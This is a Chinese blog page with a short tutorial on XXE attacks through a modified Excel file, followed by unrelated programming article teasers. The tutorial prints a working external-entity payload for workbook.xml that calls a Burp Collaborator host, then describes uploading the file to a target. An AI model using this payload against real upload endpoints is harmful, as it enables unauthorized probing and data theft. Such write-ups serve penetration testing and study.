当前位置：首页 > news >正文

利用EXCEL进行XXE攻击

news 2026/2/10 1:33:56

利用EXCEL进行XXE攻击

原因

原因

Microsoft Office从2007版本引入了新的开放的XML文件格式，新的XML文件格式基于压缩的ZIP文件格式规范，由许多部分组成。

我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件，可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。

我们创建一个excle，并解压

xl/drawings/drawing1.xml
xl/worksheets/sheet1.xml
xl/worksheets/_rels/sheet1.xml.rels
xl/sharedStrings.xml
xl/styles.xml
xl/workbook.xml
xl/_rels/workbook.xml.rels
_rels/.rels
[Content_Types].xml

在这里插入图片描述
需要修改workbook.xml文件，以下内容插入第2行和第3行，SYSTEM后面自己添加相对应的dns记录均可，我习惯使用burp的collaborator模块

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>

添加好后重新打包成excle的后缀，如xxe.xlsx
此时恶意文件就做好了，找到对应的文件上传的接口，直接上传excle文件，观察dns是否有记录

利用EXCEL进行XXE攻击

利用EXCEL进行XXE攻击原因原因 Microsoft Office从2007版本引入了新的开放的XML文件格式，新的XML文件格式基于压缩的ZIP文件格式规范，由许多部分组成。我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件，可以发现其中多数是…...

编程日记 2023/9/26 14:09:50

芯片验证就是一次旅行

如果你国庆希望去一个你不曾去过的城市旅行，比如“中国苏州”。对游客来说，它是个蛮大的城市，有许多景点可以游玩，还有许多事情可以做。但实际上，即使最豪也最清闲的游客也很难看苏州的所有方方面面。同样的道理也适用…...

编程日记 2023/9/26 14:08:49

Java深入理解线程的三大特性

目录 1 CPU缓存导致可见性问题2 线程切换导致原子性问题3 性能优化导致有序性问题4 JMM(Java Memory Model)5 volatile6 synchronized 1 CPU缓存导致可见性问题线程的三大特性： 可见性：Visibility有序性：Ordering原子性：Atomic…...

编程日记 2023/9/26 14:05:45

2025快手校招面试真题汇总及其解答（二）

6. hashmap数据结构 HashMap 是一种散列表，它是一种根据键值对来存储数据的数据结构。HashMap 的特点是插入、查找和删除操作的时间复杂度都是 O(1)，因此它是一种非常高效的数据结构。 HashMap 的工作原理是将键值对存储在一个数组中，每个键值对都由一个哈希函数来映射到数…...

编程日记 2023/9/26 14:03:43

PHP生成带中文的图片

imagettftext() 函数是 PHP 中的一个内置函数，用于使用 TrueType 字体将文本写入图像。句法： 数组imagettftext（资源$image，float $size，float $angle， int $x，int $y，…...

编程日记 2023/9/26 14:01:42

java框架-Dubbo

Dubbo整合Springboot BIO NIO Netty Dubbo 原理在这里插入图片描述...

编程日记 2023/9/26 13:59:40

Vue+iview 组件中通过v-for循环动态生成form表单进行表单校验

在做项目时，需要根据需要动态添加或新增表单，同时还需要对表单做校验。详情如下图： 刚开始做表单验证的时候，对于这个动态的表单验证有点难搞，试了好几种方法都没有搞定。最后按照下面这种方法实现了，以此…...

编程日记 2023/9/26 13:57:38

sns.load_dataset(“iris“)报错原因探究+解决办法

问题描述 import seaborn as sns # 读取数据 iris sns.load_dataset("iris")在代码中使用了seaborn ，并加载iris数据，结果产生了报错信息如下所示问题分析原因很简单，我们使用了sns.load_dataset("iris")来加载数据…...

编程日记 2023/9/26 13:56:37

python回文素数

这能有1和本身整除的整数叫素数；如一个素数从左向右和从右向左是相同的数，则该素数为回文素数。编程求出2-1000内的所有回文素数。源代码： def sushu(n): for i in range(2,n//21): if n%i 0: return False r…...

编程日记 2023/9/26 13:54:35

纽扣电池16CRF1700.15,16CFR1700.20,ANSI C18.3M如何申请？

随着科技的发展，纽扣电池被广泛应用于小型电子产品，如计算器、电子手表、玩具、医疗设备等。由于其体积小，易于拆卸，也造成了儿童误吞的潜在风险。因此，对于纽扣电池的认证和包装，各国均有相应的规定。在美…...

编程日记 2023/9/26 13:52:32

10.12广州见 | 第十六届智慧城市大会报名通道全面开启

第十六届中国智慧城市大会将于10月12日至13日在广州举办智慧城市是数字中国、智慧社会的核心载体，是数字时代城市发展的高级形态。由中国服务贸易协会、中国测绘学会、中国遥感委员会主办的第十六届中国智慧城市大会，将以“数实融合开放创新智引未…...

编程日记 2023/9/26 13:51:31

2023-油猴（Tampermonkey）脚本推荐

2023-油猴（Tampermonkey）脚本推荐知乎增强链接 https://github.com/XIU2/UserScript https://greasyfork.org/zh-CN/scripts/419081 介绍移除登录弹窗、屏蔽首页视频、默认收起回答、快捷收起回答/评论（左键两侧）、快捷回…...

编程日记 2023/9/26 13:50:30

某度sign参数逆向

文章目录前文分析完整代码结尾前文本文章中所有内容仅供学习交流，严禁用于商业用途和非法用途，否则由此产生的一切后果均与作者无关，若有侵权，请联系我立即删除！ 分析经过我们几次抓包，测试&#xf…...

编程日记 2023/9/26 13:49:29

【选型】JAVA生成PPT及选型

可以使用的框架（类库）：POI，OpenOffice/LibreOffice，Aspose.Slides，Java开源报表工具（JasperReports,BIRT等）。具体如下: 方案优点缺点Apache POI- 开源免费- 可完全控制PPT生成- …...

编程日记 2023/9/26 13:47:28

LPA*算法图文详解

之前我们看过了A* 算法，知道了A* 算法的基本原理，但是A* 算法的缺陷也很明显：它是离线的路径规划算法，只能一次规划出路径，但是后面路径被改变的话就无法生效了。针对这个问题，人们研究出了D* 算法。D* 算法…...

编程日记 2023/9/26 13:45:26

【Unity的HDRP渲染管线下实现好用的GUI模糊和外描边流光效果_Blur_OutLine_案例分享(内附源码)】

实现好用的模糊效果_Blur HDRP渲染管线下搭建场景创建RenderTextureRenderTexture 与相机的配置：UI层 Canvas的不同Render Mode：Canvas 在Screen Space - Overlay 模式下：UI旋转Y轴，没有透视。切换到Screen Space - Camera 模式下：UI层跑到物体后面去了，将Plane Distance…...

编程日记 2023/9/26 13:44:25

电脑D盘格式化会有什么影响？电脑D盘格式化了怎么恢复数据

当电脑出现问题时，往往会出现一些提示，例如提示格式化的问题，而最近有位小伙伴也遇到了相似的问题，即D盘一打开就显示格式化，由于不清楚D盘格式化会有什么影响，因此不小心进行了格式化操作，结果…...

编程日记 2023/9/26 13:42:23

【Spring】多环境切换

🎈博客主页：🌈我的主页🌈 🎈欢迎点赞 👍 收藏 🌟留言 📝 欢迎讨论！👏 🎈本文由【泠青沼~】原创，首发于 CSDN🚩&#x1f…...

编程日记 2023/9/26 13:41:21

python经典百题之求10000之内的素数

题目：求10000之内的素数程序分析求10000之内的素数是一个常见的问题。素数是大于1且只能被1和自身整除的整数。我们可以使用循环遍历10000以内的每个数，判断其是否是素数。方法1: 简单遍历法遍历2到10000之间的每个数，判断其是否为素…...

编程日记 2023/9/26 13:40:20

ROS2 从头开始：第 5 部分 - 并发、执行器和回调组

一、说明让我们回到基础。并发意味着系统或软件可以同时运行许多任务。例如，在单核 CPU 机器上，可以通过使用线程来实现并发。本文探讨了...

编程日记 2023/9/26 13:38:18

python/java环境配置

环境变量放一起 python： 1.首先下载Python Python下载地址：Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个，然后自定义，全选可以把前4个选上 3.环境配置 1）搜高级系统设置 2…...

编程新知 2026/2/9 15:41:39

【论文笔记】若干矿井粉尘检测算法概述

总的来说，传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度，通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

编程新知 2025/10/14 10:52:24

DIY｜Mac 搭建 ESP-IDF 开发环境及编译小智 AI

前一阵子在百度 AI 开发者大会上，看到基于小智 AI DIY 玩具的演示，感觉有点意思，想着自己也来试试。如果只是想烧录现成的固件，乐鑫官方除了提供了 Windows 版本的 Flash 下载工具之外，还提供了基于网页版的 ESP LA…...

编程新知 2026/2/3 8:13:35

代理篇12|深入理解 Vite中的Proxy接口代理配置

在前端开发中，常常会遇到跨域请求接口的情况。为了解决这个问题，Vite 和 Webpack 都提供了 proxy 代理功能，用于将本地开发请求转发到后端服务器。什么是代理（proxy）？代理是在开发过程中，前端项目通过开发服务器，将指定的请求“转发”到真实的后端服务器，从而绕…...

编程新知 2025/10/27 20:33:34

Springboot社区养老保险系统小程序

一、前言随着我国经济迅速发展，人们对手机的需求越来越大，各种手机软件也都在被广泛应用，但是对于手机进行数据信息管理，对于手机的各种软件也是备受用户的喜爱，社区养老保险系统小程序被用户普遍使用，为方…...

编程新知 2026/1/26 2:48:53

Android第十三次面试总结（四大组件基础）

Activity生命周期和四大启动模式详解一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成，用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机： onCreate() 调用时机：Activity 首次创建时调用。…...

编程新知 2025/10/15 15:07:34

Java + Spring Boot + Mybatis 实现批量插入

在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法：使用 MyBatis 的 <foreach> 标签和批处理模式（ExecutorType.BATCH）。方法一：使用 XML 的 <foreach> 标签&#xff…...

编程新知 2025/6/11 2:44:05

接口自动化测试：HttpRunner基础

相关文档 HttpRunner V3.x中文文档 HttpRunner 用户指南使用HttpRunner 3.x实现接口自动化测试 HttpRunner介绍 HttpRunner 是一个开源的 API 测试工具，支持 HTTP(S)/HTTP2/WebSocket/RPC 等网络协议，涵盖接口测试、性能测试、数字体验监测等测试类型…...

编程新知 2026/1/29 7:31:17

Vite中定义@软链接

在webpack中可以直接通过符号表示src路径，但是vite中默认不可以。如何实现： vite中提供了resolve.alias：通过别名在指向一个具体的路径在vite.config.js中 import { join } from pathexport default defineConfig({plugins: [vue()],//…...

编程新知 2026/1/24 13:26:57

什么是VR全景技术

VR全景技术，全称为虚拟现实全景技术，是通过计算机图像模拟生成三维空间中的虚拟世界，使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验，结合图文、3D、音视频等多媒体元素…...

编程新知 2026/2/5 19:40:10

利用EXCEL进行XXE攻击

原因

相关文章：